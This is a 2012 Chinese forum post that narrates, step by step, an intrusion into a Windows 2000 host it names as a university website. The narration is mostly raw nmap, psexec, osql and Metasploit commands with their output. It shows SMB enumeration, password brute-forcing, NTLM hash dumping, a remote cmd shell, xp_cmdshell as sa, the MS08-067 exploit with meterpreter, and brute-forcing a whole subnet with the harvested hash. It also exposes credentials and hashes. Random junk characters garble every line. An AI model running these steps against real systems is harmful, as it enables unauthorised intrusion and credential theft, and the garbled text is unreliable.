广西师范网站http://202.103.242.241/
! V; h$ A7 J5 D$ K% s' g, J5 m0 J% a
root@bt:~# nmap -sS -sV 202.103.242.241% b* q& ^! h2 F, }
2 @1 y6 X+ [7 S6 ]6 rStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 21:54 CST. v1 H6 X0 _% y6 [
/ ?, o6 a/ H) D
Nmap scan report for bogon (202.103.242.241)
$ M. p( W# N/ H- V% \; b$ C
' n# O ^9 I- g$ mHost is up (0.00048s latency).
+ b2 {6 o7 z" U( h9 {6 p! f8 O4 g$ |
" B) O. t4 W& @1 u. b& n1 wNot shown: 993 closed ports
6 k& z; B3 N2 o. E9 A
' H# {; i& ~7 h' M& ]) G, r8 wPORT STATE SERVICE VERSION" N( p4 [) G5 `% j% F9 l* l
' A) H; h: \+ L2 j6 J) c% j0 C1 _
135/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
4 Z$ S+ M0 D2 e6 C. {, m8 M" ^1 K' I
+ D/ Z) W: e. W; _* o139/tcp open netbios-ssn" n8 I" o5 I H3 \
* }% ?9 O3 k. P) @445/tcp open microsoft-ds Microsoft Windows 2000 microsoft-ds
( `3 h0 h4 w' j2 \; n, U9 D
) Z6 ~& G! o3 o) _2 [% [5 r8 m1025/tcp open mstask Microsoft mstask (task server – c:\winnt\system32\Mstask.exe)
, M, ~1 m" ~2 `; O; u- A
' ]3 L! u: W# M1 Q1026/tcp open msrpc Microsoft Windows RPC, F8 Y+ w+ w: s1 C, O Q: T. y' J) K
6 T( f" B8 M: n7 d3 C3372/tcp open msdtc?+ `$ X& h# d2 t- m7 w5 K; E! l
# j( w0 @. V/ K- \9 x3389/tcp open ms-term-serv?8 a5 t* |; O& s- K2 \8 J9 W4 G; M' S3 ~7 N
- e# P2 P% P, Q6 D1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at http://www.insecure.org/cgi-bin/servicefp-submit.cgi :
3 |; s: r0 r; h7 H4 K8 F5 \SF-Port3372-TCP:V=5.59BETA1%I=7%D=2/28%Time=4F4CDC90%P=i686-pc-linux-gnu%r
: [' W% R2 j* @8 B0 T: `
# ]/ u8 S0 S+ {: SSF GetRequest,6,”hO\n\x000Z”)%r(RTSPRequest,6,”hO\n\x000Z”)%r(HTTPOptions3 a2 P# S' J" c! ?
. i6 Y/ m- e z0 |2 t& D+ a; bSF:,6,”hO\n\x000Z”)%r(Help,6,”hO\n\x000Z”)%r(SSLSessionReq,6,”hO\n\x000Z”)
2 T+ }- M1 M1 U0 V' }
* B; ^5 j d# i$ }) b6 Q$ [9 fSF:%r(FourOhFourRequest,6,”hO\n\x000Z”)%r(LPDString,6,”hO\n\x000Z”)%r(SIPO. i+ d: H" j: R4 ?* e6 j( v5 ^
1 b0 P* I5 k. T, \8 Y# H, O9 a" ]SF:ptions,6,”hO\n\x000Z”);
6 q! b0 {, P2 J/ a& f7 O' i. U; [5 x$ S' M% r2 I2 S$ c; f7 V
MAC Address: 08:00:27 7:2E:79 (Cadmus Computer Systems) F! [( D; Q V
) u# L2 }. S0 t) v& a
Service Info: OS: Windows3 G3 F, t! w6 z( |+ D Y; i3 P4 o+ H, a
, }' W! f, {" H- T8 ~, ^ j, {
Service detection performed. Please report any incorrect results at http://nmap.org/submit/ .* `* b' y8 q% F8 K7 k+ z
4 g5 W! H& w$ `$ N' L2 c
Nmap done: 1 IP address (1 host up) scanned in 79.12 seconds, a" @+ Q) U0 N! U1 Z: ?' w
- E' @/ i9 N1 m: k* sroot@bt:/usr/local/share/nmap/scripts# ls -la | grep smb //列出扫描脚本
1 [ ]+ X7 L* D
$ J& B6 y2 M( P5 I9 |-rw-r–r– 1 root root 44055 2011-07-09 07:36 smb-brute.nse
7 L/ h( t) w% N- \4 P+ c7 \2 @9 k( D+ R7 n6 }
-rw-r–r– 1 root root 27691 2011-07-09 07:36 smb-check-vulns.nse% \0 `" z5 z1 I! r J: K& X
0 K. b0 j, O! Q9 [9 ~" ]4 j7 t-rw-r–r– 1 root root 4806 2011-07-09 07:36 smb-enum-domains.nse
; j# F1 a9 n' S2 Y/ |9 q; O1 H, F. d' {1 o
-rw-r–r– 1 root root 3475 2011-07-09 07:36 smb-enum-groups.nse
* d1 A5 z9 I8 x$ U
# _$ M0 z8 d" W-rw-r–r– 1 root root 7958 2011-07-09 07:36 smb-enum-processes.nse
6 Q1 A/ V* m& g2 u
$ k/ P/ n6 g( `# [' N5 X4 b% M& @' b-rw-r–r– 1 root root 12221 2011-07-09 07:36 smb-enum-sessions.nse
2 K( U4 p5 N* C+ x! s
" ^# U5 _7 Q0 `+ o4 l-rw-r–r– 1 root root 6014 2011-07-09 07:36 smb-enum-shares.nse
5 o2 C5 `" M- O, l
% U2 t1 g. D1 I-rw-r–r– 1 root root 12216 2011-07-09 07:36 smb-enum-users.nse
) I+ ^7 P& a- C6 s1 u" e! y+ Q Y" N" G
-rw-r–r– 1 root root 1658 2011-07-09 07:36 smb-flood.nse
O4 x; P5 `$ @/ v( V
8 w8 \3 v8 v% \1 p# O# i% L, l-rw-r–r– 1 root root 2906 2011-07-09 07:36 smb-os-discovery.nse
% w4 y& H' h* s( g3 |
- g8 Z" O5 A' X-rw-r–r– 1 root root 61005 2011-07-09 07:36 smb-psexec.nse8 d- t, g2 l* i1 U! }
R& ^. z* s ^7 _# d2 U9 y d-rw-r–r– 1 root root 4362 2011-07-09 07:36 smb-security-mode.nse- }, K3 T. m8 _ G# U& ? q
) ]1 w# W% ?, M, K3 A3 H2 v. G) R-rw-r–r– 1 root root 2311 2011-07-09 07:36 smb-server-stats.nse
( \; e' q9 N$ s% g# p
) E! ^$ l" ~( k8 w4 t v-rw-r–r– 1 root root 13719 2011-07-09 07:36 smb-system-info.nse- d0 Q7 o9 |3 H
# P/ u; g; Q: b
-rw-r–r– 1 root root 1429 2011-07-09 07:36 smbv2-enabled.nse
8 [0 q, ^$ |5 h- B4 _
/ w% q% Z- T. broot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-users.nse 202.103.242.241
8 b7 G6 S& ^6 D# C
9 p) e9 O, F6 O1 ~) u//此乃使用脚本扫描远程机器所存在的账户名5 k- u# g w+ k' S4 \" d
$ P( q/ h6 t; u. K+ U. Q) jStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:12 CST
7 n: c" Q5 v4 m7 l% F
+ {, h+ f& k+ N, {0 [# s7 KNmap scan report for bogon (202.103.242.241)
2 y# W, l3 o! Z7 O3 ?. y5 D+ s" ]) i
Host is up (0.00038s latency).$ N7 Y$ e3 E5 m
& r2 K: o9 Q/ B/ A
Not shown: 993 closed ports' H& G e$ [: @/ u
2 u O" p. A+ U9 `3 D" g3 e- A5 g$ APORT STATE SERVICE- @0 Q: O6 g. ]
; z2 s6 g, ~6 X& q1 {3 |
135/tcp open msrpc
1 Z7 @2 e( q- t9 Z( v+ ^, a8 z- G; u$ ?6 n9 T
139/tcp open netbios-ssn2 O6 }$ n- U$ C, H; f6 F9 P
; v% ]5 t" x! m# c; p% O- y445/tcp open microsoft-ds5 z: [7 @4 l x0 {7 K
( Y" U1 I4 J7 z3 K' e4 t0 S
1025/tcp open NFS-or-IIS! J" O: Q. {9 Z" _6 N2 {
- c' Q+ q3 n/ g' s7 @0 a8 P# P
1026/tcp open LSA-or-nterm( h; m' Q; G ]# h; o
. {$ m* e6 C9 E$ z2 d. E2 H3372/tcp open msdtc& r# _; t0 a4 e, o
3 j) K8 K8 F4 Y- D8 Z6 {& ~& L. L3389/tcp open ms-term-serv x" H5 a" K% k/ k9 n/ Y6 E
# H$ T! m4 B. A3 f9 H" w: gMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
2 I' \5 G% G+ [3 T$ ]+ {* N3 [( _" s/ C5 `% ~$ i* T5 |
Host script results:9 V q1 U( B6 ^8 M
" X" m# g7 }; I7 P# n
| smb-enum-users:
: k. z0 [. C) k, u) g
& M: ` j3 c% I|_ Domain: PG-F289F9A8EF3E; Users:Administrator, Guest, test, TsInternetUser //扫描结果
" a( f- P+ V- o& p+ _% E- c! o+ N8 z1 t: r" L& E" G' J7 f
Nmap done: 1 IP address (1 host up) scanned in 1.09 seconds- S7 E5 \& w4 ]2 A- |5 x+ j) w
0 r$ r# S3 D" |' ?root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-enum-shares.nse 202.103.242.241 ) }8 v( R2 l8 o& X* `
) |' z( m! O7 D! H* \; W6 l( O
//查看共享, e! k1 {- A! T+ J7 ~
5 Q9 R+ P4 M- H& u& M. HStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:15 CST
! c' ^# ~6 ?1 i; L2 c; {# n0 G" ?) M9 f
Nmap scan report for bogon (202.103.242.241)
9 l9 c9 W+ Q& i5 L; w c
% h, ^' j' O" y" }! [3 oHost is up (0.00035s latency).# b( v* k: _2 N# {% T
9 g! F! p/ Z( P( o' W- L9 r
Not shown: 993 closed ports2 N2 } Z0 b6 l3 g3 X- f
1 \; K1 d& u6 | F) LPORT STATE SERVICE
' E: Z! ^6 A( G5 @5 w- G1 T4 W0 m- W9 s, h' }9 j; T
135/tcp open msrpc" c6 N# \" x! e+ M2 t! J
2 c Z M' `3 q' C; v" W% W
139/tcp open netbios-ssn: b. R) R7 t9 V( s: q
" K7 @) `; y% ~ A. g8 P* [445/tcp open microsoft-ds
; j4 S: v' Y+ r$ r. }. I! @( {7 \& @/ f+ V7 ?. N
1025/tcp open NFS-or-IIS. l4 `5 ~9 [ X1 |2 Q
k3 t6 K) q; a1 B6 w" g
1026/tcp open LSA-or-nterm$ l+ x# H) t+ C3 B9 x8 J+ N
! w) V- V. b5 c7 m# A
3372/tcp open msdtc
* N9 _; n4 S$ {3 o% ?7 \8 N# W' Y& a. V+ q# c" S% X* x8 z$ J
3389/tcp open ms-term-serv
$ P0 |: O9 K( ]$ A" U- [9 h, |( A
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)+ M% K3 [+ ?8 o% w& y2 _/ Z
: H3 [$ f. g. K1 n1 h& G* }6 FHost script results:
, |6 p. f E8 t# `5 Q4 m: K# m6 i: y' q8 |* e
| smb-enum-shares:& X$ l# d: |/ |9 b
( l2 t/ D) J! ~$ Z0 ~
| ADMIN$
7 M5 P9 c6 V3 [: A8 _9 D# Q4 I& p3 x* @) A' S* m
| Anonymous access: <none>9 I' ^. K& x& @
( \4 r8 R& y6 s0 L$ n3 b1 Z! P
| C$
' s" d' Q8 s6 n6 O: W [1 o) D+ g' o
| Anonymous access: <none>% K0 I! O# k4 m4 z
5 g# M2 x2 x& P: E' n$ Q8 V( `| IPC$
, P. M' I9 ~' z! X
8 \$ Q# Z( O0 s|_ Anonymous access: READ
9 ~1 j- W( h! N! M$ U B+ \
( e. W* Y# w+ p: Y8 W$ X& @" hNmap done: 1 IP address (1 host up) scanned in 1.05 seconds
( Q9 `. F0 F: w |7 x
, C( K# n: h1 }' C) aroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse 202.103.242.241 ! G4 W: k5 Y, L0 l* o/ H" A
2 E( f% p4 A% v5 |2 T- N( n) V# [- _//获取用户密码
( r# U) u7 v( X+ x v. N) B7 E+ B3 e, G& [; p- K
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-28 22:17 CST
& c" N0 ]/ r* H8 p# w
3 y+ g: O8 Z2 |Nmap scan report for bogon (202.103.242.2418)/ C. m5 O0 n1 g# |0 R& j( ] H
/ y; @: p/ M$ [ I/ P2 r1 ~Host is up (0.00041s latency).
' |/ x6 K# H' k+ e# u, O
; u) R5 b& a+ D* o: iNot shown: 993 closed ports
; r1 v, S( }6 ?0 R" O6 k* L3 I7 w, }& Z8 u7 N2 X, K7 K
PORT STATE SERVICE
: m2 V9 t1 a/ h7 e+ V) ]3 h" F8 S* b6 u4 y; ^; A/ E( h
135/tcp open msrpc
5 F' v. {+ q1 j3 s' W* D+ e% y8 f) Z
139/tcp open netbios-ssn7 p, l( d( s3 O% J$ W1 R
, P" a% w1 e( W1 F. |4 }& p" \% P
445/tcp open microsoft-ds
1 l: L. A; W0 i% Z& M# Q( y* {0 @- P2 C. X4 v. J, h7 u
1025/tcp open NFS-or-IIS2 u2 |4 Q0 P- x: q8 M t& p8 x U
, G& ?3 o3 J5 |; m# ] s$ W
1026/tcp open LSA-or-nterm1 A5 z7 u; r% R7 ~2 _7 _( Q$ i
8 G3 f. O" z' S1 O4 M. U( ?7 k3372/tcp open msdtc
+ B- A) `/ t1 ?" k; a7 K8 w8 ]5 j# y& \- M5 e1 S9 ^3 h$ x
3389/tcp open ms-term-serv5 `1 `% G3 G$ N# O+ |
2 \# }! Z4 R4 e: H; q
MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
F( i* u( h& c, v/ G6 t. r/ m( C! r+ ?0 c) ~
Host script results:/ B2 J% ~! r3 c$ G5 I
6 `+ l; ^% K! A" [* x3 _" k
| smb-brute:
. z. C3 m a" A# R$ F- M) n: U) ]# u6 t7 `; J6 I
administrator:<blank> => Login was successful! P7 U( T( q6 R5 G- z# N* Z
8 g$ ~7 N# E7 r( \|_ test:123456 => Login was successful
( Q: W+ ~( R5 h7 l: C1 O5 X; n p
( i5 O' A6 V7 K1 I/ i0 INmap done: 1 IP address (1 host up) scanned in 28.22 seconds/ G- D4 R* y( N3 g( ~# {4 d
8 G8 A O% l! X4 N5 K j: L7 M* yroot@bt:~# wget http://swamp.foofus.net/fizzgig/ ... -exe-only.tar.bz2//抓hash
( J6 n& T+ ^) [ K2 y9 J, T( W3 u' V" U1 }+ K) {8 h2 F# L! r; ~ X
root@bt:~# tar -jxvf pwdump6-1.7.2-exe-only.tar.bz2 -C /usr/local/share/nmap/nselib/data
1 d& D4 |9 a& K4 ?' O
* ~8 Z- t9 E. B9 xroot@bt:/usr/local/share/nmap/scripts# wget https://svn.nmap.org/nmap-exp/dev/nmap/scripts/smb-pwdump.nse2 U7 F. B" h6 ]/ F4 L
5 i9 B% ^6 G9 w6 d proot@bt:~# nmap –script=smb-pwdump.nse –script-args=smbuser=test,smbpass=123456 202.103.242.241 -p 135,445,1397 h/ b y" x# r# ?2 u
2 z# |8 r q: z& I8 A9 GStarting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:25 CST/ N- ]7 j+ [3 i% T/ [
& J/ f S' K, i
Nmap scan report for bogon (202.103.242.241)
" V9 M* L7 O& c8 x1 R$ m& S
5 R4 U, C) X4 aHost is up (0.0012s latency).' _# U- ]1 t: W" Z+ [; ^2 Z
! }0 d+ p$ p% K$ \' L( u' h$ E
PORT STATE SERVICE- D1 K# }& [' u) d! m4 K' w
) S6 Z7 K( ^5 b, n
135/tcp open msrpc. g- d5 @. |: f: Q" `, n q
5 |7 K8 q/ A* Q3 l139/tcp open netbios-ssn
+ B1 Z# x$ Y T+ g5 ]% ^- S7 A- t' c9 M/ {1 j
445/tcp open microsoft-ds7 M/ g a9 m! j6 L/ P I
# |1 J% ]. Z7 m6 a- {MAC Address: 08:00:277:2E:79 (Cadmus Computer Systems); ^( e% }5 C0 s) N, _
$ H {. L: F$ g) X, y% ]7 q% w
Host script results:
2 x& r4 J* \" v- G) |( d; p- c7 x: ]+ X
| smb-pwdump:
8 }: G0 ]2 A0 s: }: i: Z6 [( A% ~+ z% H4 v, c7 ^: m
| Administrator:500 => NO PASSWORD*********************:NO PASSWORD*********************
/ P: U: d4 f0 t9 x$ ?
. ]$ B* S2 {, O. Y. R0 w1 G| Guest:501 => NO PASSWORD*********************:NO PASSWORD*********************! W2 K9 F6 g* C- B4 X& E
; G# M0 E0 e3 u1 L4 M: J. n0 Z, M5 C| test:1002 => 44EFCE164AB921CAAAD3B435B51404EE:32ED87BDB5FDC5E9CBA88547376818D4+ n3 e; j8 d* N4 m/ L
6 Z- i" y P$ s$ ?
|_TsInternetUser:1000 => A63D5FC7F284A6CC341A5A0240EF721E:262A84B3E8D4B1CC32131838448C98D2
9 D0 I9 G4 s: U
# c. U4 m4 P+ p1 ^$ K5 n' uNmap done: 1 IP address (1 host up) scanned in 1.85 seconds3 ?% o' b% y. A
8 C- J# v. y0 M) I/ l% k4 \C:\Documents and Settings\Administrator\桌面>psexec.exe \\202.103.242.241 -u test //获取一个cmdshell
' K9 u' r; u% E* m/ I! I5 x7 [4 Y9 L% @! y8 ?, G2 x
-p 123456 -e cmd.exe
$ B0 _, J" M+ f6 ]- ^4 Q5 v& Z3 }3 r$ e P1 V6 `
PsExec v1.55 – Execute processes remotely7 ~! t0 j1 ?9 m9 |
2 \7 y0 e$ z& ?! A, L
Copyright (C) 2001-2004 Mark Russinovich
# Y( u9 Q: P+ p
' e3 k4 W. C1 a3 s: \; q' HSysinternals – www.sysinternals.com
3 p# E7 Q( H6 R; {9 d5 S! |3 b; A8 n; V
Microsoft Windows 2000 [Version 5.00.2195]
6 k# U) _ n7 |
& o# n$ c: b; y& d(C) 版权所有 1985-2000 Microsoft Corp.
$ ~, o! s) n" [4 l5 G. L/ |
& n* N2 k& S& j- C* nC:\WINNT\system32>ipconfig4 n2 w% f' @+ ^& n5 M
/ T. W1 n8 m0 X6 ?Windows 2000 IP Configuration6 C1 A- J- Y5 O5 v
- _% g$ F0 K. u, x
Ethernet adapter 本地连接:
6 U& |* `$ h2 h( \" J4 r8 B
* g1 [ Y% K& T# h$ ~" R; o' CConnection-specific DNS Suffix . :: i8 x l9 B8 A) l% q
8 d1 O/ S8 B8 ?7 D( zIP Address. . . . . . . . . . . . : 202.103.242.241
& w+ N4 M- n' y
' ^* F6 m L5 I) N6 g' DSubnet Mask . . . . . . . . . . . : 255.255.255.0
6 G, ?6 p5 T6 Q! S- r1 J m j5 J; k$ N# l0 F: w' f
Default Gateway . . . . . . . . . : 202.103.1.1
: d* i' B9 t3 I" A# c8 |1 B# m* T6 u+ ]2 a4 P
C:\Documents and Settings\Administrator\桌面\osql>osql.exe -S 202.103.242.241 -U sa -P “123456″ -Q “exec master..xp_cmdshell ＇net user＇ “ //远程登录sa执行命令# ^7 P3 w& U9 x7 f+ G
2 b, R# `/ C9 vroot@bt:/usr/local/share/nmap/scripts# nmap –script=smb-check-vulns.nse 202.103.242.241 //检测目标机器漏洞" b7 S4 i4 ?- E! L6 }
/ m2 u: N$ r* {& ]% D) D, X
Starting Nmap 5.59BETA1 ( http://nmap.org ) at 2012-02-29 00:41 CST
- w# s- z( ?) |% H/ H
3 r: q. b- l% M; VNmap scan report for bogon (202.103.242.241): P7 D8 k+ O/ N( O% X0 @* [. z9 C
! i0 z& s( L! x: o
Host is up (0.00046s latency)., G% W) P. l+ V0 V* y' m/ l
- C) n3 M; q& i, _6 Z! hNot shown: 993 closed ports* \7 N* A) p! _4 u) N
. v N/ g3 L% a( z6 B7 } O
PORT STATE SERVICE
: o5 G4 n; w3 B( [0 t
4 l0 o( I* T/ J6 W" z4 ]8 Z" J+ A135/tcp open msrpc
% T* b; k" h% ?# M/ a3 D
$ p& U. U! ~$ i& X' n. G w139/tcp open netbios-ssn
8 P( L5 d( n, B, x& x, z* y% [% k; D1 r
$ L, e2 k/ o; f4 M Q% N445/tcp open microsoft-ds
5 T- e0 j6 S& @7 y# e& ?6 o1 E8 }$ [$ G% v3 f5 J9 f) I
1025/tcp open NFS-or-IIS$ u0 @& a( M3 q! m
) X N- C F. y' e& c8 D1026/tcp open LSA-or-nterm
/ J: [2 w! P- o8 [' E# u% `" S; p" F1 E% s' H# }" M3 k5 w
3372/tcp open msdtc
: n* z( j# g. a* @3 C- l" k, O
* W4 j) ^/ C/ R3 C3389/tcp open ms-term-serv8 J0 a% i* k* x
7 ^# n- I1 A( w) ~4 B$ k& VMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems) e# C( G, _7 i3 j( \
9 ^# {2 x- h& I( q% j% W- T, THost script results:8 X! D5 s9 g8 U3 N; V3 V0 O9 K$ Y
" p; w& W: Y4 T. S
| smb-check-vulns:
: d1 h4 |: Q5 ~) o2 x- ~* ^- w. s: g6 q- F
|_ MS08-067: VULNERABLE5 L, Q9 d1 f- j7 J- A
: ~1 r1 |8 _7 u( fNmap done: 1 IP address (1 host up) scanned in 1.43 seconds$ U) u/ ?) s/ K" A
) y' T! [! o* T$ q: e* ]root@bt:~# msfconsole //在msf上利用ms08-067漏洞对目标机器进行溢出3 e& O+ |1 L% v
5 R9 D8 p! z% f9 F6 Z1 cmsf > search ms08# \# { V, r' m2 m, V
/ s7 _2 {1 T, d: s( L6 S$ Q* r, K5 m, p
msf > use exploit/windows/smb/ms08_067_netapi; ~, d; }9 L3 {; [# Q$ {
$ ^6 W n4 U; B! |msf exploit(ms08_067_netapi) > show options
3 ~/ `: e: d& w6 m
: r$ a% _% q ]7 r0 m% M: @msf exploit(ms08_067_netapi) > set RHOST 202.103.242.241
7 _- x- y+ D0 t8 ]
9 i0 i. v" d4 c+ @msf exploit(ms08_067_netapi) > show payloads
- t9 s+ w: L5 Q. W! A A
2 y4 C0 B8 z- v2 lmsf exploit(ms08_067_netapi) > set PAYLOAD windows/meterpreter/bind_tcp
4 F1 z; y/ U& s' f+ l
/ ]/ Q# Y# L0 I5 p* B/ Mmsf exploit(ms08_067_netapi) > exploit
& o, s2 K' l4 ]' n" I
& O; i' c) ^4 O8 F! [5 m1 {meterpreter >
4 c# F* w E; U4 A6 k' a) V# G0 s6 p, _; z. q5 M0 W6 o
Background session 2? [y/N] (ctrl+z)
6 H* M& Y6 {! [) E ^6 q' d. h
msf exploit(ms08_067_netapi) > sessions -l
" A5 f2 j M3 x% _$ _: y! s1 ]
# q/ x8 R9 O1 g$ F) N9 e" F' Groot@bt:/usr/local/share/nmap/scripts# vim usernames.txt
# e6 U T1 ]/ o, ]" }* o0 }, q: T: O
0 t# z& a) m- Q& G2 d7 Rtest; u9 r% G* u+ T6 z8 a' f* p) ?
5 {* H3 M- `: F; }3 |
administrator& u5 U. F, N5 {4 Y
3 \7 K0 v% e) V' b
root@bt:/usr/local/share/nmap/scripts# vim password.txt
, M8 U# x- N; {' T& U- U; n! t9 {$ ?- g6 I/ }: {
44EFCE164AB921CAAAD3B435B51404EE
p4 g* K1 D& e8 X$ K& T2 S* t; N6 _) [8 y" R9 _7 L' A1 h8 L/ c
root@bt:/usr/local/share/nmap/scripts# nmap –script=smb-brute.nse –script-args=userdb=usernames.txt,passdb=password.txt 192.168.1.1-254 * a" e8 p' q1 b Z
/ s+ k! w( D+ \8 R //利用用户名跟获取的hash尝试对整段内网进行登录
+ O$ B/ j. v6 k) O6 I8 ?" _8 U; ?8 F) H+ W
Nmap scan report for 192.168.1.1052 b/ v# W% K1 Q
0 l, {% [7 e5 i- B+ a/ Y
Host is up (0.00088s latency).! n9 Z, v! o, I
& m+ _2 Q, X* K) MNot shown: 993 closed ports5 q. r( t# M/ [. \- q( v/ [
& _3 v( u' P( Y8 y: ?PORT STATE SERVICE
4 o/ h T/ b# |' b. f3 e3 j9 p0 D [
$ U, \$ m, Y- f7 g135/tcp open msrpc
: M6 l5 n$ D. k+ S( L7 D5 W
8 K: `, Z' i+ P# [( V c8 k139/tcp open netbios-ssn! v5 U# C6 v( w( N) E3 ~
K( z- X3 A( p2 @7 ~/ V4 {445/tcp open microsoft-ds
2 q/ n2 {- k2 F5 E2 ^- T
5 W* S2 U9 M, @1025/tcp open NFS-or-IIS
7 \0 M6 R' U( D& I
* v6 \+ ]3 D5 o9 P `: y C x9 [+ ^1026/tcp open LSA-or-nterm9 G- s8 S7 F$ P
* T0 @' q. W/ ]0 j7 o; y3372/tcp open msdtc0 Z) |1 m0 W! t0 W
* n, s- Z! X, [
3389/tcp open ms-term-serv
: q8 A' p! t$ f) d4 p. i
$ r- ~! ?( _: s: vMAC Address: 08:00:277:2E:79 (Cadmus Computer Systems)
% `/ H3 E: f9 r+ l
% N- J7 A+ r2 {, s3 B- o1 A7 ~8 OHost script results:
0 D# k2 A0 }* A r, h% ^2 k8 }3 y' e d V& O T. K
| smb-brute:
. V- V& B! l7 u% |6 x
& W K- u' K" \0 [" W0 w' B6 g) p|_ administrator:<blank> => Login was successful
{( I; C* `8 m5 x8 t$ ]9 ~+ I
; _! o9 t2 |, k2 z, t0 J4 I1 }% x攻击成功，一个简单的msf+nmap攻击~~·
- u4 M1 ~) | E' m
# J8 o2 m% T- L& W0 e |
发表于 2012-12-4 12:46:42
收藏
支持
反对